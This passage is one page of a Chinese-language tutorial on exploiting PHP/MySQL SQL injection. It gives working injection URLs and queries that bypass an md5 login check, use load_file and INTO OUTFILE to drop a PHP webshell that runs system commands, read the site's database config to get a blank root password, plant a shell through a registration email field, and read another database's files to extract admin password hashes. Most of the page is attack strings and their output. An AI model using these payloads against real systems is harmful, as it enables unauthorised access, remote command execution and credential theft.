|
4. md5的恶梦 山东大学的王博士最近可是搞md5搞的红透了,我们也来搞一搞吧,我们比他更爽,不用计算,哈哈。 md5我们是有办法绕过的,但是并不是哪里都可以,php中的md5函数就不能绕过,因为你输入的所有东西都在里面,根本跑不出。可以绕过的是sql语句中的md5。当然别的sql中的函数也是可以绕过的,道理相同哦。 看例子先: <?php //login.php …… $query="select * from alphaauthor where UserName=md5($username) and Password='".$Pw."'"; …… ?>
我们直接在浏览器提交 http://localhost/admin/login.php?username=char(97,98)) or 1=1 %23 带入sql语句成为 select * from alphaauthor where UserName=md5(char(97,98)) or 1=1 #) and Password='".$Pw."' 记得md5里面放的是字符,因为后面有or 1=2,所以我们随便放了个char(97,98). Ok,登陆成功了哦!看看,md5在我们面前也没有什么用处。 5. 核心技术,利用php+mysql注入漏洞直接写入webshell。。 直接利用注入得到webshell,这应该是大家都很想的吧,下面就教给你。 这里假设你已经知道了网站所在的物理路径,我这里假设网站路径为c:/apache/htdocs/site。网站的mysql连接信息放在/lib/sql.inc.php里 1)适用于magic_quotes_gpc=Off 假设我们可以上传图片,或者txt,zip,等其它东西,我们把我们的木马改成 jpg后缀的,上传后路径为/upload/2004091201.jpg 2004091201.jpg中的内容为 <?php system($cmd) ?> 好,我们开始 http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file('C:/apache/htdocs/site/upload/2004091201.jpg'),4,5,6,7,8,9,10,11%20into%20outfile'C:/apache/htdocs/site/shell.php' 因为适用了outfile,所以网页显示不正常,但是我们的任务是完成了。 如图28 我们赶快去看看http://localhost/site/shell.php?cmd=dir 如图29 爽否?Webshell我们已经创建成功了。看到最前面的12了没?那就是我们select 1,2所输出的! 2)下面再讲一个适用于magic_quotes_gpc=On的时候保存webshell的方法哦,显然肯定也能用在于magic_quotes_gpc=Off的时候啦。 我们直接读他的配置文件,用技巧2介绍的方法 http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870),4,5,6,7,8,9,10,11 得到sql.inc.php内容为 <?$connect=@mysql_connect("localhost","root","") or die("Unable to connect to SQL server");mysql_select_db("alpha",$connect) or die("Unable to select database");?> 好了我们知道了mysql的root密码了,我们找到phpmyadmin的后台 http://localhost/phpmyadmin/ 用root密码为空登陆。 如图30 然后我们新建立一个表结构内容如下: # # 数据表的结构 `te` # CREATE TABLE te ( cmd text NOT NULL ) ENGINE=MyISAM DEFAULT CHARSET=latin1; # # 导出下面的数据库内容 `te` # INSERT INTO te VALUES ('<?php system($cmd) ?>'); Ok,是我们用select * from table into outfile’’的时候了 直接在phpmyadmin的sql输入 SELECT * FROM `te` into outfile 'C:/apache/htdocs/site/cmd1.php';
如图31 Ok,成功执行,我们去http://localhost/site/cmd1.php?cmd=dir看看效果去 如图32 好爽的一个webshell是吧!哈哈,我也很喜欢。 不过不知道大家有没有发现我们是在 magic_quotes_gpc=On的情况下完成这项工作的,竟然在phpmyadmin里可以不用考虑引号的限制,哈哈,说明什么?说明 phpmyadmin太伟大了,这也就是我们在谈magic_quotes_gpc=On绕过时所卖的那个关子啦! 6.发现没有我们还可以利用update和insert来插入我们的数据,然后来得到我们的webshell哦,还用上面的那个例子, <?php //reg.php …… $query = "INSERT INTO members VALUES('$id','$login','$pass','$email',’2')" ; …… ?> 我们在email的地方输入<?php system($cmd) ?> 假设我们注册后的id为10 那么我们可以再找到一个可以注入的地方 http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,email,4,5,6,7,8,9,10,11%20from%20user%20where%20id=10%20 into%20outfile'C:/apache/htdocs/site/test.php' 好了,我们又有了我们的wenshell了哦。 7.mysql的跨库查询 大家是不是一直听说mysql不能跨库查询啊,哈哈,今天我将要教大家一个好方法,通过这个方法来实现变相的跨库查询,方法就是通过load_file来直接读出mysql中data文件夹下的文件内容,从而实现变态跨库查询。 举个例子啦 在这之前我们先讲一下mysql的data文件夹下的结构 Data文件夹下有按数据库名生成的文件夹,文件夹下按照表名生成三个后缀为frm,myd,myi的三个文件,例如 Mysql中有alpha数据库,在alpha库中有alphaauthor和alphadb两个表, Alpha文件夹内容如下图33 其中alphadb.frm放着lphadb表中的数据,alphadb.frm放着表的结构,alphadb.myi中放的内容随mysql的版本不通会有所不同,具体可以自己用记事本打开来判断。 实验开始 假设我们知道有另外的一个数据库yminfo210存在,且存在表user,user中放这admin的信息。 我们 http://localhost/site/display.php?id=451%20and%201=2%20%20, union%20select%201,2,load_file('yminfo210/user.myd'),4,5,6,7,8,9,10,11
说明一下,load_file默认所在的目录是mysql下的data目录,所以我们用 load_file('yminfo210/user.myd'),当然load_file('.info210/user.myd')也是一样的,注意的是into outfile的默认路径是在所在的数据库文件夹下。 结果如图34 我们看读出来的内容 舼��? admin 698d51a19d8a121ce581499d7b701668 admin@yoursite.comadmin question admin answer http://www.yoursite.com (?靃?KA靃?靃? 127.0.0.1 d|?�? aaa 3dbe00a167653a1aaee01d93e77e730e sdf@sd.com sdfasdfsdfa asdfadfasd ?E麷AM麷A 127.0.0.1 222 222222223423 虽然乱码一堆,但是我们还是可以看出用户名是admin,密码是698d51a19d8a121ce581499d7b701668,后面其它的是另外的信息。 通过这种方法我们就实现了曲线跨库,下面的例子中也会提到哦! 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] 下一页 |